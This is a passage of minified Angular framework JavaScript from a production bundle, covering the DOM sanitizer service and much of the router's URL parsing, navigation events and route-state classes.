new(Ne||Se)},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac,providedIn:"root"}),Se})(),Re=(()=>{class Se{}return Se.\\u0275fac=function(Ne){return new(Ne||Se)},Se.\\u0275mod=a.oAB({type:Se}),Se.\\u0275inj=a.cJS({}),Se})(),nt=(()=>{class Se{}return Se.\\u0275fac=function(Ne){return new(Ne||Se)},Se.\\u0275prov=a.Yz7({token:Se,factory:function(Ne){let ut=null;return ut=Ne?new(Ne||Se):a.LFG(Ee),ut},providedIn:"root"}),Se})(),Ee=(()=>{class Se extends nt{constructor(Ne){super(),this._doc=Ne}sanitize(Ne,ut){if(null==ut)return null;switch(Ne){case a.q3G.NONE:return ut;case a.q3G.HTML:return(0,a.qzn)(ut,"HTML")?(0,a.z3N)(ut):(0,a.EiD)(this._doc,String(ut)).toString();case a.q3G.STYLE:return(0,a.qzn)(ut,"Style")?(0,a.z3N)(ut):ut;case a.q3G.SCRIPT:if((0,a.qzn)(ut,"Script"))return(0,a.z3N)(ut);throw new Error("unsafe value used in a script context");case a.q3G.URL:return(0,a.qzn)(ut,"URL")?(0,a.z3N)(ut):(0,a.mCW)(String(ut));case a.q3G.RESOURCE_URL:if((0,a.qzn)(ut,"ResourceURL"))return(0,a.z3N)(ut);throw new Error(`unsafe value used in a resource URL context (see ${a.JZr})`);default:throw new Error(`Unexpected SecurityContext ${Ne} (see ${a.JZr})`)}}bypassSecurityTrustHtml(Ne){return(0,a.JVY)(Ne)}bypassSecurityTrustStyle(Ne){return(0,a.L6k)(Ne)}bypassSecurityTrustScript(Ne){return(0,a.eBb)(Ne)}bypassSecurityTrustUrl(Ne){return(0,a.LAX)(Ne)}bypassSecurityTrustResourceUrl(Ne){return(0,a.pB0)(Ne)}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(n.K0))},Se.\\u0275prov=a.Yz7({token:Se,factory:function(Ne){let ut=null;return ut=Ne?new Ne:function fe(Se){return new Ee(Se.get(n.K0))}(a.LFG(a.zs3)),ut},providedIn:"root"}),Se})()},6630:(At,ae,d)=>{"use strict";d.d(ae,{gz:()=>ei,F0:()=>Jn,rH:()=>Q2,Bz:()=>Sr,lC:()=>Oi});var n=d(4650),a=d(5254),s=d(1086),u=d(591);const f=(()=>{function M(){return Error.call(this),this.message="no elements in sequence",this.name="EmptyError",this}return M.prototype=Object.create(Error.prototype),M})();var E=d(3426),_=d(1221),S=d(8514),g=d(4843),C=d(1737),z=d(6498),H=d(8896),j=d(1762),U=d(8929),G=d(6895),Q=d(4850),oe=d(7545),Ce=d(2986),k=d(1059),K=d(2198),se=d(1709),ee=d(3489);function q(M=null){return A=>A.lift(new we(M))}class we{constructor(A){this.defaultValue=A}call(A,p){return p.subscribe(new ce(A,this.defaultValue))}}class ce extends ee.L{constructor(A,p){super(A),this.defaultValue=p,this.isEmpty=!0}_next(A){this.isEmpty=!1,this.destination.next(A)}_complete(){this.isEmpty&&this.destination.next(this.defaultValue),this.destination.complete()}}function je(M=Oe){return A=>A.lift(new Ze(M))}class Ze{constructor(A){this.errorFactory=A}call(A,p){return p.subscribe(new le(A,this.errorFactory))}}class le extends ee.L{constructor(A,p){super(A),this.errorFactory=p,this.hasValue=!1}_next(A){this.hasValue=!0,this.destination.next(A)}_complete(){if(this.hasValue)return this.destination.complete();{let A;try{A=this.errorFactory()}catch(p){A=p}this.destination.error(A)}}}function Oe(){return new f}var Qe=d(5379);function Ye(M,A){const p=arguments.length>=2;return V=>V.pipe(M?(0,K.h)((ne,He)=>M(ne,He,V)):Qe.y,(0,Ce.q)(1),p?q(A):je(()=>new f))}var qe=d(1406),Ke=d(2868),dt=d(7221);function bt(M,A){let p=!1;return arguments.length>=2&&(p=!0),function(ne){return ne.lift(new ze(M,A,p))}}class ze{constructor(A,p,V=!1){this.accumulator=A,this.seed=p,this.hasSeed=V}call(A,p){return p.subscribe(new De(A,this.accumulator,this.seed,this.hasSeed))}}class De extends ee.L{constructor(A,p,V,ne){super(A),this.accumulator=p,this._seed=V,this.hasSeed=ne,this.index=0}get seed(){return this._seed}set seed(A){this.hasSeed=!0,this._seed=A}_next(A){if(this.hasSeed)return this._tryNext(A);this.seed=A,this.destination.next(A)}_tryNext(A){const p=this.index++;let V;try{V=this.accumulator(this.seed,A,p)}catch(ne){this.destination.error(ne)}this.seed=V,this.destination.next(V)}}var re=d(4231);function ve(M){return function(p){return 0===M?(0,H.c)():p.lift(new We(M))}}class We{constructor(A){if(this.total=A,this.total<0)throw new re.W}call(A,p){return p.subscribe(new xt(A,this.total))}}class xt extends ee.L{constructor(A,p){super(A),this.total=p,this.ring=new Array,this.count=0}_next(A){const p=this.ring,V=this.total,ne=this.count++;p.length<V?p.push(A):p[ne%V]=A}_complete(){const A=this.destination;let p=this.count;if(p>0){const V=this.count>=this.total?this.total:this.count,ne=this.ring;for(let He=0;He<V;He++){const tt=p++%V;A.next(ne[tt])}}A.complete()}}function Be(M,A){const p=arguments.length>=2;return V=>V.pipe(M?(0,K.h)((ne,He)=>M(ne,He,V)):Qe.y,ve(1),p?q(A):je(()=>new f))}var pe=d(4290),P=d(7604),w=d(537),R=d(4327),X=d(9146),_e=d(1481);const ct="primary",Je=Symbol("RouteTitle");class Et{constructor(A){this.params=A||{}}has(A){return Object.prototype.hasOwnProperty.call(this.params,A)}get(A){if(this.has(A)){const p=this.params[A];return Array.isArray(p)?p[0]:p}return null}getAll(A){if(this.has(A)){const p=this.params[A];return Array.isArray(p)?p:[p]}return[]}get keys(){return Object.keys(this.params)}}function Dt(M){return new Et(M)}function Pt(M,A,p){const V=p.path.split("/");if(V.length>M.length||"full"===p.pathMatch&&(A.hasChildren()||V.length<M.length))return null;const ne={};for(let He=0;He<V.length;He++){const tt=V[He],Lt=M[He];if(tt.startsWith(":"))ne[tt.substring(1)]=Lt;else if(tt!==Lt.path)return null}return{consumed:M.slice(0,V.length),posParams:ne}}function te(M,A){const p=M?Object.keys(M):void 0,V=A?Object.keys(A):void 0;if(!p||!V||p.length!=V.length)return!1;let ne;for(let He=0;He<p.length;He++)if(ne=p[He],!x(M[ne],A[ne]))return!1;return!0}function x(M,A){if(Array.isArray(M)&&Array.isArray(A)){if(M.length!==A.length)return!1;const p=[...M].sort(),V=[...A].sort();return p.every((ne,He)=>V[He]===ne)}return M===A}function m(M){return Array.prototype.concat.apply([],M)}function b(M){return M.length>0?M[M.length-1]:null}function ie(M,A){for(const p in M)M.hasOwnProperty(p)&&A(M[p],p)}function Xe(M){return(0,n.CqO)(M)?M:(0,n.QGY)(M)?(0,a.D)(Promise.resolve(M)):(0,s.of)(M)}const it=!1,wt={exact:function u1(M,A,p){if(!Ue(M.segments,A.segments)||!kt(M.segments,A.segments,p)||M.numberOfChildren!==A.numberOfChildren)return!1;for(const V in A.children)if(!M.children[V]||!u1(M.children[V],A.children[V],p))return!1;return!0},subset:It},Vt={exact:function qt(M,A){return te(M,A)},subset:function c1(M,A){return Object.keys(A).length<=Object.keys(M).length&&Object.keys(A).every(p=>x(M[p],A[p]))},ignored:()=>!0};function Gt(M,A,p){return wt[p.paths](M.root,A.root,p.matrixParams)&&Vt[p.queryParams](M.queryParams,A.queryParams)&&!("exact"===p.fragment&&M.fragment!==A.fragment)}function It(M,A,p){return _t(M,A,A.segments,p)}function _t(M,A,p,V){if(M.segments.length>p.length){const ne=M.segments.slice(0,p.length);return!(!Ue(ne,p)||A.hasChildren()||!kt(ne,p,V))}if(M.segments.length===p.length){if(!Ue(M.segments,p)||!kt(M.segments,p,V))return!1;for(const ne in A.children)if(!M.children[ne]||!It(M.children[ne],A.children[ne],V))return!1;return!0}{const ne=p.slice(0,M.segments.length),He=p.slice(M.segments.length);return!!(Ue(M.segments,ne)&&kt(M.segments,ne,V)&&M.children[ct])&&_t(M.children[ct],A,He,V)}}function kt(M,A,p){return A.every((V,ne)=>Vt[p](M[ne].parameters,V.parameters))}class Fe{constructor(A=new be([],{}),p={},V=null){this.root=A,this.queryParams=p,this.fragment=V}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=Dt(this.queryParams)),this._queryParamMap}toString(){return mt.serialize(this)}}class be{constructor(A,p){this.segments=A,this.children=p,this.parent=null,ie(p,(V,ne)=>V.parent=this)}hasChildren(){return this.numberOfChildren>0}get numberOfChildren(){return Object.keys(this.children).length}toString(){return Ct(this)}}class Pe{constructor(A,p){this.path=A,this.parameters=p}get parameterMap(){return this._parameterMap||(this._parameterMap=Dt(this.parameters)),this._parameterMap}toString(){return ot(this)}}function Ue(M,A){return M.length===A.length&&M.every((p,V)=>p.path===A[V].path)}let J=(()=>{class M{}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:function(){return new Ae},providedIn:"root"}),M})();class Ae{parse(A){const p=new nn(A);return new Fe(p.parseRootSegment(),p.parseQueryParams(),p.parseFragment())}serialize(A){const p=`/${jt(A.root,!0)}`,V=function ut(M){const A=Object.keys(M).map(p=>{const V=M[p];return Array.isArray(V)?V.map(ne=>`${nt(p)}=${nt(ne)}`).join("&"):`${nt(p)}=${nt(V)}`}).filter(p=>!!p);return A.length?`?${A.join("&")}`:""}(A.queryParams);return`${p}${V}${"string"==typeof A.fragment?`#${function fe(M){return encodeURI(M)}(A.fragment)}`:""}`}}const mt=new Ae;function Ct(M){return M.segments.map(A=>ot(A)).join("/")}function jt(M,A){if(!M.hasChildren())return Ct(M);if(A){const p=M.children[ct]?jt(M.children[ct],!1):"",V=[];return ie(M.children,(ne,He)=>{He!==ct&&V.push(`${He}:${jt(ne,!1)}`)}),V.length>0?`${p}(${V.join("//")})`:p}{const p=function xe(M,A){let p=[];return ie(M.children,(V,ne)=>{ne===ct&&(p=p.concat(A(V,ne)))}),ie(M.children,(V,ne)=>{ne!==ct&&(p=p.concat(A(V,ne)))}),p}(M,(V,ne)=>ne===ct?[jt(M.children[ct],!1)]:[`${ne}:${jt(V,!1)}`]);return 1===Object.keys(M.children).length&&null!=M.children[ct]?`${Ct(M)}/${p[0]}`:`${Ct(M)}/(${p.join("//")})`}}function pt(M){return encodeURIComponent(M).replace(/%40/g,"@").replace(/%3A/gi,":").replace(/%24/g,"$").replace(/%2C/gi,",")}function nt(M){return pt(M).replace(/%3B/gi,";")}function Ee(M){return pt(M).replace(/\\(/g,"%28").replace(/\\)/g,"%29").replace(/%26/gi,"&")}function at(M){return decodeURIComponent(M)}function Se(M){return at(M.replace(/\\+/g,"%20"))}function ot(M){return`${Ee(M.path)}${function Ne(M){return Object.keys(M).map(A=>`;${Ee(A)}=${Ee(M[A])}`).join("")}(M.parameters)}`}const Rt=/^[^\\/()?;=#]+/;function Zt(M){const A=M.match(Rt);return A?A[0]:""}const a1=/^[^=?&#]+/,G1=/^[^&#]+/;class nn{constructor(A){this.url=A,this.remaining=A}parseRootSegment(){return this.consumeOptional("/"),""===this.remaining||this.peekStartsWith("?")||this.peekStartsWith("#")?new be([],{}):new be([],this.parseChildren())}parseQueryParams(){const A={};if(this.consumeOptional("?"))do{this.parseQueryParam(A)}while(this.consumeOptional("&"));return A}parseFragment(){return this.consumeOptional("#")?decodeURIComponent(this.remaining):null}parseChildren(){if(""===this.remaining)return{};this.consumeOptional("/");const A=[];for(this.peekStartsWith("(")||A.push(this.parseSegment());this.peekStartsWith("/")&&!this.peekStartsWith("//")&&!this.peekStartsWith("/(");)this.capture("/"),A.push(this.parseSegment());let p={};this.peekStartsWith("/(")&&(this.capture("/"),p=this.parseParens(!0));let V={};return this.peekStartsWith("(")&&(V=this.parseParens(!1)),(A.length>0||Object.keys(p).length>0)&&(V[ct]=new be(A,p)),V}parseSegment(){const A=Zt(this.remaining);if(""===A&&this.peekStartsWith(";"))throw new n.vHH(4009,it);return this.capture(A),new Pe(at(A),this.parseMatrixParams())}parseMatrixParams(){const A={};for(;this.consumeOptional(";");)this.parseParam(A);return A}parseParam(A){const p=Zt(this.remaining);if(!p)return;this.capture(p);let V="";if(this.consumeOptional("=")){const ne=Zt(this.remaining);ne&&(V=ne,this.capture(V))}A[at(p)]=at(V)}parseQueryParam(A){const p=function _1(M){const A=M.match(a1);return A?A[0]:""}(this.remaining);if(!p)return;this.capture(p);let V="";if(this.consumeOptional("=")){const tt=function gn(M){const A=M.match(G1);return A?A[0]:""}(this.remaining);tt&&(V=tt,this.capture(V))}const ne=Se(p),He=Se(V);if(A.hasOwnProperty(ne)){let tt=A[ne];Array.isArray(tt)||(tt=[tt],A[ne]=tt),tt.push(He)}else A[ne]=He}parseParens(A){const p={};for(this.capture("(");!this.consumeOptional(")")&&this.remaining.length>0;){const V=Zt(this.remaining),ne=this.remaining[V.length];if("/"!==ne&&")"!==ne&&";"!==ne)throw new n.vHH(4010,it);let He;V.indexOf(":")>-1?(He=V.slice(0,V.indexOf(":")),this.capture(He),this.capture(":")):A&&(He=ct);const tt=this.parseChildren();p[He]=1===Object.keys(tt).length?tt[ct]:new be([],tt),this.consumeOptional("//")}return p}peekStartsWith(A){return this.remaining.startsWith(A)}consumeOptional(A){return!!this.peekStartsWith(A)&&(this.remaining=this.remaining.substring(A.length),!0)}capture(A){if(!this.consumeOptional(A))throw new n.vHH(4011,it)}}function P1(M){return M.segments.length>0?new be([],{[ct]:M}):M}function on(M){const A={};for(const V of Object.keys(M.children)){const He=on(M.children[V]);(He.segments.length>0||He.hasChildren())&&(A[V]=He)}return function Ge(M){if(1===M.numberOfChildren&&M.children[ct]){const A=M.children[ct];return new be(M.segments.concat(A.segments),A.children)}return M}(new be(M.segments,A))}function vt(M){return M instanceof Fe}const Me=!1;function $(M,A,p,V,ne){if(0===p.length)return Wt(A.root,A.root,A.root,V,ne);const He=function Qt(M){if("string"==typeof M[0]&&1===M.length&&"/"===M[0])return new w1(!0,0,M);let A=0,p=!1;const V=M.reduce((ne,He,tt)=>{if("object"==typeof He&&null!=He){if(He.outlets){const Lt={};return ie(He.outlets,($t,d1)=>{Lt[d1]="string"==typeof $t?$t.split("/"):$t}),[...ne,{outlets:Lt}]}if(He.segmentPath)return[...ne,He.segmentPath]}return"string"!=typeof He?[...ne,He]:0===tt?(He.split("/").forEach((Lt,$t)=>{0==$t&&"."===Lt||(0==$t&&""===Lt?p=!0:".."===Lt?A++:""!=Lt&&ne.push(Lt))}),ne):[...ne,He]},[]);return new w1(p,A,V)}(p);return He.toRoot()?Wt(A.root,A.root,new be([],{}),V,ne):function tt($t){const d1=function Y1(M,A,p,V){if(M.isAbsolute)return new h1(A.root,!0,0);if(-1===V)return new h1(p,p===A.root,0);return function T1(M,A,p){let V=M,ne=A,He=p;for(;He>ne;){if(He-=ne,V=V.parent,!V)throw new n.vHH(4005,Me&&"Invalid number of \'../\'");ne=V.segments.length}return new h1(V,!1,ne-He)}(p,V+(ke(M.commands[0])?0:1),M.numberOfDoubleDots)}(He,A,M.snapshot?._urlSegment,$t),f1=d1.processChildren?E1(d1.segmentGroup,d1.index,He.commands):vn(d1.segmentGroup,d1.index,He.commands);return Wt(A.root,d1.segmentGroup,f1,V,ne)}(M.snapshot?._lastPathIndex)}function ke(M){return"object"==typeof M&&null!=M&&!M.outlets&&!M.segmentPath}function lt(M){return"object"==typeof M&&null!=M&&M.outlets}function Wt(M,A,p,V,ne){let tt,He={};V&&ie(V,($t,d1)=>{He[d1]=Array.isArray($t)?$t.map(f1=>`${f1}`):`${$t}`}),tt=M===A?p:p1(M,A,p);const Lt=P1(on(tt));return new Fe(Lt,He,ne)}function p1(M,A,p){const V={};return ie(M.children,(ne,He)=>{V[He]=ne===A?p:p1(ne,A,p)}),new be(M.segments,V)}class w1{constructor(A,p,V){if(this.isAbsolute=A,this.numberOfDoubleDots=p,this.commands=V,A&&V.length>0&&ke(V[0]))throw new n.vHH(4003,Me&&"Root segment cannot have matrix parameters");const ne=V.find(lt);if(ne&&ne!==b(V))throw new n.vHH(4004,Me&&"{outlets:{}} has to be the last command")}toRoot(){return this.isAbsolute&&1===this.commands.length&&"/"==this.commands[0]}}class h1{constructor(A,p,V){this.segmentGroup=A,this.processChildren=p,this.index=V}}function vn(M,A,p){if(M||(M=new be([],{})),0===M.segments.length&&M.hasChildren())return E1(M,A,p);const V=function In(M,A,p){let V=0,ne=A;const He={match:!1,pathIndex:0,commandIndex:0};for(;ne<M.segments.length;){if(V>=p.length)return He;const tt=M.segments[ne],Lt=p[V];if(lt(Lt))break;const $t=`${Lt}`,d1=V<p.length-1?p[V+1]:null;if(ne>0&&void 0===$t)break;if($t&&d1&&"object"==typeof d1&&void 0===d1.outlets){if(!fn($t,d1,tt))return He;V+=2}else{if(!fn($t,{},tt))return He;V++}ne++}return{match:!0,pathIndex:ne,commandIndex:V}}(M,A,p),ne=p.slice(V.commandIndex);if(V.match&&V.pathIndex<M.segments.length){const He=new be(M.segments.slice(0,V.pathIndex),{});return He.children[ct]=new be(M.segments.slice(V.pathIndex),M.children),E1(He,0,ne)}return V.match&&0===ne.length?new be(M.segments,{}):V.match&&!M.hasChildren()?Gn(M,A,p):V.match?E1(M,0,ne):Gn(M,A,p)}function E1(M,A,p){if(0===p.length)return new be(M.segments,{});{const V=function V1(M){return lt(M[0])?M[0].outlets:{[ct]:M}}(p),ne={};if(!V[ct]&&M.children[ct]&&1===M.numberOfChildren&&0===M.children[ct].segments.length){const He=E1(M.children[ct],A,p);return new be(M.segments,He.children)}return ie(V,(He,tt)=>{"string"==typeof He&&(He=[He]),null!==He&&(ne[tt]=vn(M.children[tt],A,He))}),ie(M.children,(He,tt)=>{void 0===V[tt]&&(ne[tt]=He)}),new be(M.segments,ne)}}function Gn(M,A,p){const V=M.segments.slice(0,A);let ne=0;for(;ne<p.length;){const He=p[ne];if(lt(He)){const $t=D1(He.outlets);return new be(V,$t)}if(0===ne&&ke(p[0])){V.push(new Pe(M.segments[A].path,ci(p[0]))),ne++;continue}const tt=lt(He)?He.outlets[ct]:`${He}`,Lt=ne<p.length-1?p[ne+1]:null;tt&&Lt&&ke(Lt)?(V.push(new Pe(tt,ci(Lt))),ne+=2):(V.push(new Pe(tt,{})),ne++)}return new be(V,{})}function D1(M){const A={};return ie(M,(p,V)=>{"string"==typeof p&&(p=[p]),null!==p&&(A[V]=Gn(new be([],{}),0,p))}),A}function ci(M){const A={};return ie(M,(p,V)=>A[V]=`${p}`),A}function fn(M,A,p){return M==p.path&&te(A,p.parameters)}const Rn="imperative";class cn{constructor(A,p){this.id=A,this.url=p}}class X1 extends cn{constructor(A,p,V="imperative",ne=null){super(A,p),this.type=0,this.navigationTrigger=V,this.restoredState=ne}toString(){return`NavigationStart(id: ${this.id}, url: \'${this.url}\')`}}class Pn extends cn{constructor(A,p,V){super(A,p),this.urlAfterRedirects=V,this.type=1}toString(){return`NavigationEnd(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\')`}}class Fn extends cn{constructor(A,p,V,ne){super(A,p),this.reason=V,this.code=ne,this.type=2}toString(){return`NavigationCancel(id: ${this.id}, url: \'${this.url}\')`}}class An extends cn{constructor(A,p,V,ne){super(A,p),this.reason=V,this.code=ne,this.type=16}}class $n extends cn{constructor(A,p,V,ne){super(A,p),this.error=V,this.target=ne,this.type=3}toString(){return`NavigationError(id: ${this.id}, url: \'${this.url}\', error: ${this.error})`}}class li extends cn{constructor(A,p,V,ne){super(A,p),this.urlAfterRedirects=V,this.state=ne,this.type=4}toString(){return`RoutesRecognized(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\', state: ${this.state})`}}class L1 extends cn{constructor(A,p,V,ne){super(A,p),this.urlAfterRedirects=V,this.state=ne,this.type=7}toString(){return`GuardsCheckStart(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\', state: ${this.state})`}}class Cn extends cn{constructor(A,p,V,ne,He){super(A,p),this.urlAfterRedirects=V,this.state=ne,this.shouldActivate=He,this.type=8}toString(){return`GuardsCheckEnd(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\', state: ${this.state}, shouldActivate: ${this.shouldActivate})`}}class Mn extends cn{constructor(A,p,V,ne){super(A,p),this.urlAfterRedirects=V,this.state=ne,this.type=5}toString(){return`ResolveStart(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\', state: ${this.state})`}}class di extends cn{constructor(A,p,V,ne){super(A,p),this.urlAfterRedirects=V,this.state=ne,this.type=6}toString(){return`ResolveEnd(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\', state: ${this.state})`}}class ri{constructor(A){this.route=A,this.type=9}toString(){return`RouteConfigLoadStart(path: ${this.route.path})`}}class _i{constructor(A){this.route=A,this.type=10}toString(){return`RouteConfigLoadEnd(path: ${this.route.path})`}}class Nn{constructor(A){this.snapshot=A,this.type=11}toString(){return`ChildActivationStart(path: \'${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}\')`}}class ln{constructor(A){this.snapshot=A,this.type=12}toString(){return`ChildActivationEnd(path: \'${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}\')`}}class u2{constructor(A){this.snapshot=A,this.type=13}toString(){return`ActivationStart(path: \'${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}\')`}}class dn{constructor(A){this.snapshot=A,this.type=14}toString(){return`ActivationEnd(path: \'${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}\')`}}class Sn{constructor(A,p,V){this.routerEvent=A,this.position=p,this.anchor=V,this.type=15}toString(){return`Scroll(anchor: \'${this.anchor}\', position: \'${this.position?`${this.position[0]}, ${this.position[1]}`:null}\')`}}let ui=(()=>{class M{createUrlTree(p,V,ne,He,tt,Lt){return $(p||V.root,ne,He,tt,Lt)}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac}),M})(),Fi=(()=>{class M{}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:function(A){return ui.\\u0275fac(A)},providedIn:"root"}),M})();class Qi{constructor(A){this._root=A}get root(){return this._root.value}parent(A){const p=this.pathFromRoot(A);return p.length>1?p[p.length-2]:null}children(A){const p=zi(A,this._root);return p?p.children.map(V=>V.value):[]}firstChild(A){const p=zi(A,this._root);return p&&p.children.length>0?p.children[0].value:null}siblings(A){const p=hi(A,this._root);return p.length<2?[]:p[p.length-2].children.map(ne=>ne.value).filter(ne=>ne!==A)}pathFromRoot(A){return hi(A,this._root).map(p=>p.value)}}function zi(M,A){if(M===A.value)return A;for(const p of A.children){const V=zi(M,p);if(V)return V}return null}function hi(M,A){if(M===A.value)return[A];for(const p of A.children){const V=hi(M,p);if(V.length)return V.unshift(A),V}return[]}class Kn{constructor(A,p){this.value=A,this.children=p}toString(){return`TreeNode(${this.value})`}}function Ti(M){const A={};return M&&M.children.forEach(p=>A[p.value.outlet]=p),A}class qi extends Qi{constructor(A,p){super(A),this.snapshot=p,p2(this,A)}toString(){return this.snapshot.toString()}}function h2(M,A){const p=function Ni(M,A){const tt=new f2([],{},{},"",{},ct,A,null,M.root,-1,{});return new Vi("",new Kn(tt,[]))}(M,A),V=new u.X([new Pe("",{})]),ne=new u.X({}),He=new u.X({}),tt=new u.X({}),Lt=new u.X(""),$t=new ei(V,ne,tt,Lt,He,ct,A,p.root);return $t.snapshot=p.root,new qi(new Kn($t,[]),p)}class ei{constructor(A,p,V,ne,He,tt,Lt,$t){this.url=A,this.params=p,this.queryParams=V,this.fragment=ne,this.data=He,this.outlet=tt,this.component=Lt,this.title=this.data?.pipe((0,Q.U)(d1=>d1[Je]))??(0,s.of)(void 0),this._futureSnapshot=$t}get routeConfig(){return this._futureSnapshot.routeConfig}get root(){return this._routerState.root}get parent(){return this._routerState.parent(this)}get firstChild(){return this._routerState.firstChild(this)}get children(){return this._routerState.children(this)}get pathFromRoot(){return this._routerState.pathFromRoot(this)}get paramMap(){return this._paramMap||(this._paramMap=this.params.pipe((0,Q.U)(A=>Dt(A)))),this._paramMap}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=this.queryParams.pipe((0,Q.U)(A=>Dt(A)))),this._queryParamMap}toString(){return this.snapshot?this.snapshot.toString():`Future(${this._futureSnapshot})`}}function Zn(M,A="emptyOnly"){const p=M.pathFromRoot;let V=0;if("always"!==A)for(V=p.length-1;V>=1;){const ne=p[V],He=p[V-1];if(ne.routeConfig&&""===ne.routeConfig.path)V--;else{if(He.component)break;V--}}return function Hi(M){return M.reduce((A,p)=>({params:{...A.params,...p.params},data:{...A.data,...p.data},resolve:{...p.data,...A.resolve,...p.routeConfig?.data,...p._resolvedData}}),{params:{},data:{},resolve:{}})}(p.slice(V))}class f2{get title(){return this.data?.[Je]}constructor(A,p,V,ne,He,tt,Lt,$t,d1,f1,q1){this.url=A,this.params=p,this.queryParams=V,this.fragment=ne,this.data=He,this.outlet=tt,this.component=Lt,this.routeConfig=$t,this._urlSegment=d1,this._lastPathIndex=f1,this._resolve=q1}get root(){return this._routerState.root}get parent(){return this._routerState.parent(this)}get firstChild(){return this._routerState.firstChild(this)}get children(){return this._routerState.children(this)}get pathFromRoot(){return this._routerState.pathFromRoot(this)}get paramMap(){return this._paramMap||(this._paramMap=Dt(this.params)),this._paramMap}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=Dt(this.queryParams)),this._queryParamMap}toString(){return`Route(url:\'${this.url.map(V=>V.toString()).join("/")}\', path:\'${this.routeConfig?this.routeConfig.path:""}\')`}}class Vi extends Qi{constructor(A,p){super(p),this.url=A,p2(this,p)}toString(){return x2(this._root)}}function p2(M,A){A.value._routerState=M,A.children.forEach(p=>p2(M,p))}function x2(M){const A=M.children.length>0?` { ${M.children.map(x2).join(", ")} } `:"";return`${M.value}${A}`}function yi(M){if(M.snapshot){const A=M.snapshot,p=M._futureSnapshot;M.snapshot=p,te(A.queryParams,p.queryParams)||M.queryParams.next(p.queryParams),A.fragment!==p.fragment&&M.fragment.next(p.fragment),te(A.params,p.params)||M.params.next(p.params),function Ie(M,A){if(M.length!==A.length)return!1;for(let p=0;p<M.length;++p)if(!te(M[p],A[p]))return!1;return!0}(A.url,p.url)||M.url.next(p.url),te(A.data,p.data)||M.data.next(p.data)}else M.snapshot=M._futureSnapshot,M.data.next(M._futureSnapshot.data)}function Bi(M,A){const p=te(M.params,A.params)&&function Re(M,A){return Ue(M,A)&&M.every((p,V)=>te(p.parameters,A[V].parameters))}(M.url,A.url);return p&&!(!M.parent!=!A.parent)&&(!M.parent||Bi(M.parent,A.parent))}function bi(M,A,p){if(p&&M.shouldReuseRoute(A.value,p.value.snapshot)){const V=p.value;V._futureSnapshot=A.value;const ne=function mn(M,A,p){return A.children.map(V=>{for(const ne of p.children)if(M.shouldReuseRoute(V.value,ne.value.snapshot))return bi(M,V,ne);return bi(M,V)})}(M,A,p);return new Kn(V,ne)}{if(M.shouldAttach(A.value)){const He=M.retrieve(A.value);if(null!==He){const tt=He.route;return tt.value._futureSnapshot=A.value,tt.children=A.children.map(Lt=>bi(M,Lt)),tt}}const V=function ai(M){return new ei(new u.X(M.url),new u.X(M.params),new u.X(M.queryParams),new u.X(M.fragment),new u.X(M.data),M.outlet,M.component,M)}(A.value),ne=A.children.map(He=>bi(M,He));return new Kn(V,ne)}}const jn="ngNavigationCancelingError";function fi(M,A){const{redirectTo:p,navigationBehaviorOptions:V}=vt(A)?{redirectTo:A,navigationBehaviorOptions:void 0}:A,ne=Ui(!1,0,A);return ne.url=p,ne.navigationBehaviorOptions=V,ne}function Ui(M,A,p){const V=new Error("NavigationCancelingError: "+(M||""));return V[jn]=!0,V.cancellationCode=A,p&&(V.url=p),V}function o2(M){return Li(M)&&vt(M.url)}function Li(M){return M&&M[jn]}class ki{constructor(){this.outlet=null,this.route=null,this.resolver=null,this.injector=null,this.children=new Ci,this.attachRef=null}}let Ci=(()=>{class M{constructor(){this.contexts=new Map}onChildOutletCreated(p,V){const ne=this.getOrCreateContext(p);ne.outlet=V,this.contexts.set(p,ne)}onChildOutletDestroyed(p){const V=this.getContext(p);V&&(V.outlet=null,V.attachRef=null)}onOutletDeactivated(){const p=this.contexts;return this.contexts=new Map,p}onOutletReAttached(p){this.contexts=p}getOrCreateContext(p){let V=this.getContext(p);return V||(V=new ki,this.contexts.set(p,V)),V}getContext(p){return this.contexts.get(p)||null}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();const ti=!1;let Oi=(()=>{class M{constructor(){this.activated=null,this._activatedRoute=null,this.name=ct,this.activateEvents=new n.vpe,this.deactivateEvents=new n.vpe,this.attachEvents=new n.vpe,this.detachEvents=new n.vpe,this.parentContexts=(0,n.f3M)(Ci),this.location=(0,n.f3M)(n.s_b),this.changeDetector=(0,n.f3M)(n.sBO),this.environmentInjector=(0,n.f3M)(n.lqb)}ngOnChanges(p){if(p.name){const{firstChange:V,previousValue:ne}=p.name;if(V)return;this.isTrackedInParentContexts(ne)&&(this.deactivate(),this.parentContexts.onChildOutletDestroyed(ne)),this.initializeOutletWithName()}}ngOnDestroy(){this.isTrackedInParentContexts(this.name)&&this.parentContexts.onChildOutletDestroyed(this.name)}isTrackedInParentContexts(p){return this.parentContexts.getContext(p)?.outlet===this}ngOnInit(){this.initializeOutletWithName()}initializeOutletWithName(){if(this.parentContexts.onChildOutletCreated(this.name,this),this.activated)return;const p=this.parentContexts.getContext(this.name);p?.route&&(p.attachRef?this.attach(p.attachRef,p.route):this.activateWith(p.route,p.injector))}get isActivated(){return!!this.activated}get component(){if(!this.activated)throw new n.vHH(4012,ti);return this.activated.instance}get activatedRoute(){if(!this.activated)throw new n.vHH(4012,ti);return this._activatedRoute}get 